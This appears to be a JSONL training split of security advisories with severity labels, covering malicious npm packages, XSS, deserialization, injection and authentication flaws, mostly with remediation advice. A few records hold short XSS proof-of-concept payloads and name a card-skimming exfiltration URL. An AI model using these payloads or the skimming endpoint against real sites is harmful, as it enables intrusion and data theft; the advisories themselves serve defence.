-{"id": "be8ace6a85eb2e070eb4", "text": "coffe-script is malware\n\nThe `coffe-script` package is a piece of malware that steals sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nIf you have found `coffe-script` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "coffe-script is malware\n\n[Severity: HIGH]\n\nThe `coffe-script` package is a piece of malware that steals sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n\n## Recommendation\n\nIf you have found `coffe-script` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "b4e4d4319f81bcf12c85", "text": "Cross-site Scripting in Limesurvey\n\nThe \"File upload question\" functionality in LimeSurvey 3.x-LTS through 3.27.18 allows XSS in assets/scripts/modaldialog.js and assets/scripts/uploader.js.", "text_raw": "Cross-site Scripting in Limesurvey\n\n[Severity: MEDIUM]\n\nThe \"File upload question\" functionality in LimeSurvey 3.x-LTS through 3.27.18 allows XSS in assets/scripts/modaldialog.js and assets/scripts/uploader.js.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "402541ab0ae8e52e3494", "text": "Deserialization of Untrusted Data in parlai\n\n### Impact\nDue to use of unsafe YAML deserialization logic, an attacker with the ability to modify local YAML configuration files could provide malicious input, resulting in remote code execution or similar risks.\n\n### Patches\nThe issue can be patched by upgrading to v1.1.0 or later. It can also be patched by replacing YAML deserialization with equivalent safe_load calls.\n\n### References\n\n- https://github.com/facebookresearch/ParlAI/commit/507d066ef432ea27d3e201da08009872a2f37725\n- https://github.com/facebookresearch/ParlAI/commit/4374fa2aba383db6526ab36e939eb1cf8ef99879\n- https://anon-artist.github.io/blogs/blog3.html", "text_raw": "Deserialization of Untrusted Data in parlai\n\n[Severity: MEDIUM]\n\n### Impact\nDue to use of unsafe YAML deserialization logic, an attacker with the ability to modify local YAML configuration files could provide malicious input, resulting in remote code execution or similar risks.\n\n### Patches\nThe issue can be patched by upgrading to v1.1.0 or later. It can also be patched by replacing YAML deserialization with equivalent safe_load calls.\n\n### References\n\n- https://github.com/facebookresearch/ParlAI/commit/507d066ef432ea27d3e201da08009872a2f37725\n- https://github.com/facebookresearch/ParlAI/commit/4374fa2aba383db6526ab36e939eb1cf8ef99879\n- https://anon-artist.github.io/blogs/blog3.html", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-13", "split": "train"}
-{"id": "dc29e37ae62c6fb07dae", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.springframework.aop.config.MethodLocatingFactoryBean (aka spring-aop).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.springframework.aop.config.MethodLocatingFactoryBean (aka spring-aop).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-15", "split": "train"}
-{"id": "ea5105ded91d7d30c63c", "text": "Improper Authentication in react-adal\n\nThis affects versions of react-adal < 0.5.1. It is possible for a specially crafted JWT token and request URL can cause the nonce, session and refresh values to be incorrectly validated, causing the application to treat an attacker-generated JWT token as authentic. The logical defect is caused by how the nonce, session and refresh values are stored in the browser local storage or session storage. Each key is automatically appended by ||. When the received nonce and session keys are generated, the list of values is stored in the browser storage, separated by ||, with || always appended to the end of the list. Since || will always be the last 2 characters of the stored values, an empty string (\"\") will always be in the list of the valid values. Therefore, if an empty session parameter is provided in the callback URL, and a specially-crafted JWT token contains an nonce value of \"\" (empty string), then adal.js will consider the JWT token as authentic.", "text_raw": "Improper Authentication in react-adal\n\n[Severity: HIGH]\n\nThis affects versions of react-adal < 0.5.1. It is possible for a specially crafted JWT token and request URL can cause the nonce, session and refresh values to be incorrectly validated, causing the application to treat an attacker-generated JWT token as authentic. The logical defect is caused by how the nonce, session and refresh values are stored in the browser local storage or session storage. Each key is automatically appended by ||. When the received nonce and session keys are generated, the list of values is stored in the browser storage, separated by ||, with || always appended to the end of the list. Since || will always be the last 2 characters of the stored values, an empty string (\"\") will always be in the list of the valid values. Therefore, if an empty session parameter is provided in the callback URL, and a specially-crafted JWT token contains an nonce value of \"\" (empty string), then adal.js will consider the JWT token as authentic.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "510b29e867d084ff7c3c", "text": "Privilege Elevation in runc\n\nlibcontainer/user/user.go in runC before 0.1.0, as used in Docker before 1.11.2, improperly treats a numeric UID as a potential username, which allows local users to gain privileges via a numeric username in the password file in a container.", "text_raw": "Privilege Elevation in runc\n\n[Severity: HIGH]\n\nlibcontainer/user/user.go in runC before 0.1.0, as used in Docker before 1.11.2, improperly treats a numeric UID as a potential username, which allows local users to gain privileges via a numeric username in the password file in a container.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "54ede15d2fe4beb445d3", "text": "Unsafe inline XSS in pasting DOM element into chat\n\n### Impact\n\nInline scripts are executed when Javascript is parsed via a paste action.\n\n1. Open https://watch.owncast.online/\n2. Copy and then paste `<img src=null onerror=alert('hello')>` into the\nchat field.\n3. An alert should pop up.\n\n### Patches\n```\n    ⋮ 13 │    // Content security policy\n    ⋮ 14 │    csp := []string{\n    ⋮ 15 │        \"script-src 'self' 'sha256-2HPCfJIJHnY0NrRDPTOdC7AOSJIcQyNxzUuut3TsYRY='\",\n    ⋮ 16 │        \"worker-src 'self' blob:\", // No single quotes around blob:\n    ⋮ 17 │    }\n```\n\nWill be patched in 0.0.9 by blocking `unsafe-inline` Content Security Policy and specifying the `script-src`.  The `worker-src` is required to be set to `blob` for the video player.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [owncast/owncast](https://github.com/owncast/owncast/issues)\n* Email us at [gabek@real-ity.com](mailto:gabek@real-ity.com)", "text_raw": "Unsafe inline XSS in pasting DOM element into chat\n\n[Severity: HIGH]\n\n### Impact\n\nInline scripts are executed when Javascript is parsed via a paste action.\n\n1. Open https://watch.owncast.online/\n2. Copy and then paste `<img src=null onerror=alert('hello')>` into the\nchat field.\n3. An alert should pop up.\n\n### Patches\n```\n    ⋮ 13 │    // Content security policy\n    ⋮ 14 │    csp := []string{\n    ⋮ 15 │        \"script-src 'self' 'sha256-2HPCfJIJHnY0NrRDPTOdC7AOSJIcQyNxzUuut3TsYRY='\",\n    ⋮ 16 │        \"worker-src 'self' blob:\", // No single quotes around blob:\n    ⋮ 17 │    }\n```\n\nWill be patched in 0.0.9 by blocking `unsafe-inline` Content Security Policy and specifying the `script-src`.  The `worker-src` is required to be set to `blob` for the video player.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [owncast/owncast](https://github.com/owncast/owncast/issues)\n* Email us at [gabek@real-ity.com](mailto:gabek@real-ity.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "350f1f78d8451b868a22", "text": "Duplicate Advisory: Data races in ticketed_lock\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-77m6-x95j-75r5. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of this crate unconditionally implemented `Send` for `ReadTicket<T>` & `WriteTicket<T>`.\nThis allows to send non-Send `T` to other threads.\n\nThis can allows creating data races by cloning types with internal mutability and sending them to other threads (as `T` of `ReadTicket<T>`/`WriteTicket<T>`). Such data races can cause memory corruption or other undefined behavior.\n\nThe flaw was corrected in commit `a986a93` by adding `T: Send` bounds to `Send` impls of `ReadTicket<T>`/`WriteTicket<T>`.", "text_raw": "Duplicate Advisory: Data races in ticketed_lock\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-77m6-x95j-75r5. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of this crate unconditionally implemented `Send` for `ReadTicket<T>` & `WriteTicket<T>`.\nThis allows to send non-Send `T` to other threads.\n\nThis can allows creating data races by cloning types with internal mutability and sending them to other threads (as `T` of `ReadTicket<T>`/`WriteTicket<T>`). Such data races can cause memory corruption or other undefined behavior.\n\nThe flaw was corrected in commit `a986a93` by adding `T: Send` bounds to `Send` impls of `ReadTicket<T>`/`WriteTicket<T>`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ab2926554947af5f195e", "text": "Remote Code Execution in Apache Dubbo\n\nSome component in Dubbo will try to print the formated string of the input arguments, which will possibly cause RCE for a maliciously customized bean with special toString method. In the latest version, we fix the toString call in timeout, cache and some other places. Fixed in Apache Dubbo 2.7.13", "text_raw": "Remote Code Execution in Apache Dubbo\n\n[Severity: CRITICAL]\n\nSome component in Dubbo will try to print the formated string of the input arguments, which will possibly cause RCE for a maliciously customized bean with special toString method. In the latest version, we fix the toString call in timeout, cache and some other places. Fixed in Apache Dubbo 2.7.13", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-10", "split": "train"}
-{"id": "a16114e4bea941061f9d", "text": "Malicious Package in slush-fullstack-framework\n\nVersion 0.9.2 of `slush-fullstack-framework` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.9.1", "text_raw": "Malicious Package in slush-fullstack-framework\n\n[Severity: CRITICAL]\n\nVersion 0.9.2 of `slush-fullstack-framework` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.9.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "be8acd89ff78725af003", "text": "REST Plugin in Apache Struts uses an XStreamHandler with an instance of XStream for deserialization without any type filtering\n\nThe REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.", "text_raw": "REST Plugin in Apache Struts uses an XStreamHandler with an instance of XStream for deserialization without any type filtering\n\n[Severity: HIGH]\n\nThe REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "18889240dc198cba32a5", "text": "Denial of Service (DoS) via the unsetByPath function in jsjoints\n\nThe package jointjs before 3.3.0 are vulnerable to Denial of Service (DoS) via the unsetByPath function.", "text_raw": "Denial of Service (DoS) via the unsetByPath function in jsjoints\n\n[Severity: HIGH]\n\nThe package jointjs before 3.3.0 are vulnerable to Denial of Service (DoS) via the unsetByPath function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "d09a95cee8c15afa4128", "text": "Remote Code Execution in Red Discord Bot\n\n### Impact\nA RCE exploit has been discovered in the Streams module: this exploit allows Discord users with specifically crafted \"going live\" messages to inject code into the Streams module's going live message. By abusing this exploit, it's possible to perform destructive actions and/or access sensitive information.\n\n### Patches\nThis critical exploit has been fixed on version ``3.3.12`` & ``3.4``.\n\n### Workarounds\nUnloading the Streams module with ``unload streams`` can render this exploit not accessible. We still highly recommend updating to ``3.3.12`` or ``3.4`` to completely patch this issue.\n\n### References\n* https://github.com/Cog-Creators/Red-DiscordBot/pull/4183\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Cog-Creators/Red-DiscordBot](https://github.com/Cog-Creators/Red-DiscordBot)\n* Over on our [Discord server](https://discord.gg/red)", "text_raw": "Remote Code Execution in Red Discord Bot\n\n[Severity: HIGH]\n\n### Impact\nA RCE exploit has been discovered in the Streams module: this exploit allows Discord users with specifically crafted \"going live\" messages to inject code into the Streams module's going live message. By abusing this exploit, it's possible to perform destructive actions and/or access sensitive information.\n\n### Patches\nThis critical exploit has been fixed on version ``3.3.12`` & ``3.4``.\n\n### Workarounds\nUnloading the Streams module with ``unload streams`` can render this exploit not accessible. We still highly recommend updating to ``3.3.12`` or ``3.4`` to completely patch this issue.\n\n### References\n* https://github.com/Cog-Creators/Red-DiscordBot/pull/4183\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Cog-Creators/Red-DiscordBot](https://github.com/Cog-Creators/Red-DiscordBot)\n* Over on our [Discord server](https://discord.gg/red)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-21", "split": "train"}
-{"id": "6839eee5f67b953e18f9", "text": "Spring Security and Spring Framework may not recognize certain paths that should be protected\n\nBoth Spring Security 3.2.x, 4.0.x, 4.1.0 and the Spring Framework 3.2.x, 4.0.x, 4.1.x, 4.2.x (as well as other unsupported versions) rely on URL pattern mappings for authorization and for mapping requests to controllers respectively. Differences in the strictness of the pattern matching mechanisms, for example with regards to space trimming in path segments, can lead Spring Security to not recognize certain paths as not protected that are in fact mapped to Spring MVC controllers that should be protected. The problem is compounded by the fact that the Spring Framework provides richer features with regards to pattern matching as well as by the fact that pattern matching in each Spring Security and the Spring Framework can easily be customized creating additional differences.", "text_raw": "Spring Security and Spring Framework may not recognize certain paths that should be protected\n\n[Severity: HIGH]\n\nBoth Spring Security 3.2.x, 4.0.x, 4.1.0 and the Spring Framework 3.2.x, 4.0.x, 4.1.x, 4.2.x (as well as other unsupported versions) rely on URL pattern mappings for authorization and for mapping requests to controllers respectively. Differences in the strictness of the pattern matching mechanisms, for example with regards to space trimming in path segments, can lead Spring Security to not recognize certain paths as not protected that are in fact mapped to Spring MVC controllers that should be protected. The problem is compounded by the fact that the Spring Framework provides richer features with regards to pattern matching as well as by the fact that pattern matching in each Spring Security and the Spring Framework can easily be customized creating additional differences.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "98bde3dc066bcc756750", "text": "Improper certificate management in AWS IoT Device SDK v2\n\nConnections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.3.3), Python (versions prior to 1.5.18), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.1) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on Windows. This issue has been addressed in aws-c-io submodule versions 0.9.13 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.3.3 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.5.18 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Microsoft Windows.", "text_raw": "Improper certificate management in AWS IoT Device SDK v2\n\n[Severity: MEDIUM]\n\nConnections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.3.3), Python (versions prior to 1.5.18), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.1) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on Windows. This issue has been addressed in aws-c-io submodule versions 0.9.13 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.3.3 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.5.18 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Microsoft Windows.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-24", "split": "train"}
-{"id": "c3add1db95d06a58a813", "text": "Paramiko not properly checking authentication before processing other requests\n\ntransport.py in the SSH server implementation of Paramiko before 1.17.6, 1.18.x before 1.18.5, 2.0.x before 2.0.8, 2.1.x before 2.1.5, 2.2.x before 2.2.3, 2.3.x before 2.3.2, and 2.4.x before 2.4.1 does not properly check whether authentication is completed before processing other requests, as demonstrated by channel-open. A customized SSH client can simply skip the authentication step.", "text_raw": "Paramiko not properly checking authentication before processing other requests\n\n[Severity: CRITICAL]\n\ntransport.py in the SSH server implementation of Paramiko before 1.17.6, 1.18.x before 1.18.5, 2.0.x before 2.0.8, 2.1.x before 2.1.5, 2.2.x before 2.2.3, 2.3.x before 2.3.2, and 2.4.x before 2.4.1 does not properly check whether authentication is completed before processing other requests, as demonstrated by channel-open. A customized SSH client can simply skip the authentication step.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "7ea1366316ae6fd1e841", "text": "Django Access Control Bypass possibly leading to SSRF, RFI, and LFI attacks\n\nIn Django 2.2 before 2.2.24, 3.x before 3.1.12, and 3.2 before 3.2.4, URLValidator, validate_ipv4_address, and validate_ipv46_address do not prohibit leading zero characters in octal literals. This may allow a bypass of access control that is based on IP addresses. (validate_ipv4_address and validate_ipv46_address are unaffected with Python 3.9.5+..) .", "text_raw": "Django Access Control Bypass possibly leading to SSRF, RFI, and LFI attacks \n\n[Severity: HIGH]\n\nIn Django 2.2 before 2.2.24, 3.x before 3.1.12, and 3.2 before 3.2.4, URLValidator, validate_ipv4_address, and validate_ipv46_address do not prohibit leading zero characters in octal literals. This may allow a bypass of access control that is based on IP addresses. (validate_ipv4_address and validate_ipv46_address are unaffected with Python 3.9.5+..) .", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "d10c10016906c0582bc8", "text": "react-dev-utils on Windows vulnerable to Remote Code Execution\n\n`react-dev-utils` on Windows is vulnerable to remote code execution.\n\n## Recommendation\n\nUpdate to one of the following versions, depending on the release line that you are using.\n- 1.0.4\n- 2.0.2\n- 3.1.2\n- 4.2.2\n- 5.0.2\n- 6.0.0-next.a671462c", "text_raw": "react-dev-utils on Windows vulnerable to Remote Code Execution\n\n[Severity: HIGH]\n\n`react-dev-utils` on Windows is vulnerable to remote code execution.\n\n\n## Recommendation\n\nUpdate to one of the following versions, depending on the release line that you are using.\n- 1.0.4\n- 2.0.2\n- 3.1.2\n- 4.2.2\n- 5.0.2\n- 6.0.0-next.a671462c", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "29563aaa0ec8d46a6709", "text": "html-parse-stringify and html-parse-stringify2 vulnerable to Regular expression denial of service (ReDoS)\n\nThis affects the package html-parse-stringify before 2.0.1; all versions of package html-parse-stringify2. Sending certain input could cause one of the regular expressions that is used for parsing to backtrack, freezing the process.", "text_raw": "html-parse-stringify and html-parse-stringify2 vulnerable to Regular expression denial of service (ReDoS)\n\n[Severity: MEDIUM]\n\nThis affects the package html-parse-stringify before 2.0.1; all versions of package html-parse-stringify2. Sending certain input could cause one of the regular expressions that is used for parsing to backtrack, freezing the process.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "a404cfdd6184d3fbcdcd", "text": "SQL Injection in typeorm\n\nVersions of `typeorm` before 0.1.15 are vulnerable to SQL Injection. Field names are not properly validated allowing attackers to inject SQL statements and execute arbitrary SQL queries.\n\n## Recommendation\n\nUpgrade to version 0.1.15", "text_raw": "SQL Injection in typeorm\n\n[Severity: CRITICAL]\n\nVersions of `typeorm` before 0.1.15 are vulnerable to SQL Injection. Field names are not properly validated allowing attackers to inject SQL statements and execute arbitrary SQL queries.\n\n\n## Recommendation\n\nUpgrade to version 0.1.15", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "29c5bd3bd801d8475143", "text": "Cross-Site Scripting in sanitize-html\n\nAffected versions of `sanitize-html` are vulnerable to cross-site scripting when allowedTags includes at least one `nonTextTag`.\n\n## Proof of Concept\n\n```js\nvar sanitizeHtml = require('sanitize-html');\n\nvar dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';\nvar clean = sanitizeHtml(dirty, {\n    allowedTags: [ 'textarea' ]\n});\n\nconsole.log(clean);\n\n// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!\n```\n\n## Recommendation\n\nUpdate to version 1.11.4 or later.", "text_raw": "Cross-Site Scripting in sanitize-html\n\n[Severity: MEDIUM]\n\nAffected versions of `sanitize-html` are vulnerable to cross-site scripting when allowedTags includes at least one `nonTextTag`.\n\n## Proof of Concept\n\n```js\nvar sanitizeHtml = require('sanitize-html');\n\nvar dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';\nvar clean = sanitizeHtml(dirty, {\n    allowedTags: [ 'textarea' ]\n});\n\nconsole.log(clean);\n\n// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!\n```\n\n\n## Recommendation\n\nUpdate to version 1.11.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "3e694459e9bf7754dbbd", "text": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains a privilege escalation vulnerability due to the component failing to properly handle objects in memory. Successful exploitation allows an attacker to run code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains a privilege escalation vulnerability due to the component failing to properly handle objects in memory. Successful exploitation allows an attacker to run code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "41c61f25c545b5736352", "text": "Incorrect access control in typo3_forum\n\nThe typo3_forum extension before 1.2.1 for TYPO3 has Incorrect Access Control.", "text_raw": "Incorrect access control in typo3_forum\n\n[Severity: MEDIUM]\n\nThe typo3_forum extension before 1.2.1 for TYPO3 has Incorrect Access Control.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "76e71023ed603eab4b92", "text": "Cross-site Scripting in Wildfly\n\nA flaw was found in Wildfly in versions before 23.0.2.Final while creating a new role in domain mode via the admin console, it is possible to add a payload in the name field, leading to XSS. This affects Confidentiality and Integrity.", "text_raw": "Cross-site Scripting in Wildfly\n\n[Severity: LOW]\n\nA flaw was found in Wildfly in versions before 23.0.2.Final while creating a new role in domain mode via the admin console, it is possible to add a payload in the name field, leading to XSS. This affects Confidentiality and Integrity.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "694f60271228fb076792", "text": "Elvish vulnerable to remote code execution via the web UI backend\n\n### Impact\n\nElvish's backend for the experimental web UI (started by `elvish -web`) hosts an endpoint that allows executing the code sent from the web UI.\n\nThe backend does not check the origin of requests correctly. As a result, if the user has the web UI backend open and visits a compromised or malicious website, the website can send arbitrary code to the endpoint in localhost.\n\n### Patches\n\nAll Elvish releases since 0.14.0 no longer include the experimental web UI, although it is still possible for the user to build a version from source that includes it.\n\nThe issue can be patched for previous versions by removing the web UI (found in web, pkg/web or pkg/prog/web, depending on the exact version).\n\n### Workarounds\n\nDo not use the experimental web UI.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please email xiaqqaix@gmail.com.", "text_raw": "Elvish vulnerable to remote code execution via the web UI backend\n\n[Severity: HIGH]\n\n### Impact\n\nElvish's backend for the experimental web UI (started by `elvish -web`) hosts an endpoint that allows executing the code sent from the web UI.\n\nThe backend does not check the origin of requests correctly. As a result, if the user has the web UI backend open and visits a compromised or malicious website, the website can send arbitrary code to the endpoint in localhost.\n\n### Patches\n\nAll Elvish releases since 0.14.0 no longer include the experimental web UI, although it is still possible for the user to build a version from source that includes it.\n\nThe issue can be patched for previous versions by removing the web UI (found in web, pkg/web or pkg/prog/web, depending on the exact version).\n\n### Workarounds\n\nDo not use the experimental web UI.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please email xiaqqaix@gmail.com.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-23", "split": "train"}
-{"id": "724ee12e552de0afa5d5", "text": "Command Injection in entitlements\n\nVersions of `entitlements` prior to 1.3.0 are vulnerable to Command Injection. The package does not validate input on the `entitlements` function  and concatenates it to an exec call, allowing attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nUpgrade to version 1.3.0 or later.", "text_raw": "Command Injection in entitlements\n\n[Severity: HIGH]\n\nVersions of `entitlements` prior to 1.3.0 are vulnerable to Command Injection. The package does not validate input on the `entitlements` function  and concatenates it to an exec call, allowing attackers to run arbitrary commands in the system.\n\n\n## Recommendation\n\nUpgrade to version 1.3.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "5b83edc27524141086cf", "text": "Spring Data Commons contain a property path parser vulnerability caused by unlimited resource allocation\n\nSpring Data Commons, versions 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property path parser vulnerability caused by unlimited resource allocation. An unauthenticated remote malicious user (or attacker) can issue requests against Spring Data REST endpoints or endpoints using property path parsing which can cause a denial of service (CPU and memory consumption).", "text_raw": "Spring Data Commons contain a property path parser vulnerability caused by unlimited resource allocation\n\n[Severity: HIGH]\n\nSpring Data Commons, versions 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property path parser vulnerability caused by unlimited resource allocation. An unauthenticated remote malicious user (or attacker) can issue requests against Spring Data REST endpoints or endpoints using property path parsing which can cause a denial of service (CPU and memory consumption).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "a33a5518b0ba2f9f4123", "text": "Cross-Site Scripting in nextcloud-vue-collections\n\nVersions of `nextcloud-vue-collections` prior to 0.4.2 are vulnerable to Cross-Site Scripting (XSS).  The `v-tooltip` component has an insecure `defaultHTML` configuration that allows arbitrary JavaScript to be injected in the tooltip of a collection item. This allows attackers to execute arbitrary code in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 0.4.2 or later.", "text_raw": "Cross-Site Scripting in nextcloud-vue-collections\n\n[Severity: HIGH]\n\nVersions of `nextcloud-vue-collections` prior to 0.4.2 are vulnerable to Cross-Site Scripting (XSS).  The `v-tooltip` component has an insecure `defaultHTML` configuration that allows arbitrary JavaScript to be injected in the tooltip of a collection item. This allows attackers to execute arbitrary code in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 0.4.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "8c7d932fb55130f15d9e", "text": "AContent 1.1 Multiple Cross-Site Scripting Vulnerabilities", "text_raw": "AContent 1.1 Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-08-06", "split": "train"}
-{"id": "bd94a2adfc79ce2a65d7", "text": "Credential leak in react-native-fast-image\n\nThis affects all versions before version 8.3.0 of package react-native-fast-image. When an image with `source={{uri: \"...\", headers: { host: \"somehost.com\", authorization: \"...\" }}` is loaded, all other subsequent images will use the same headers, this can lead to signing credentials or other session tokens being leaked to other servers.", "text_raw": "Credential leak in react-native-fast-image\n\n[Severity: MEDIUM]\n\nThis affects all versions before version 8.3.0 of package react-native-fast-image. When an image with `source={{uri: \"...\", headers: { host: \"somehost.com\", authorization: \"...\" }}` is loaded, all other subsequent images will use the same headers, this can lead to signing credentials or other session tokens being leaked to other servers.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
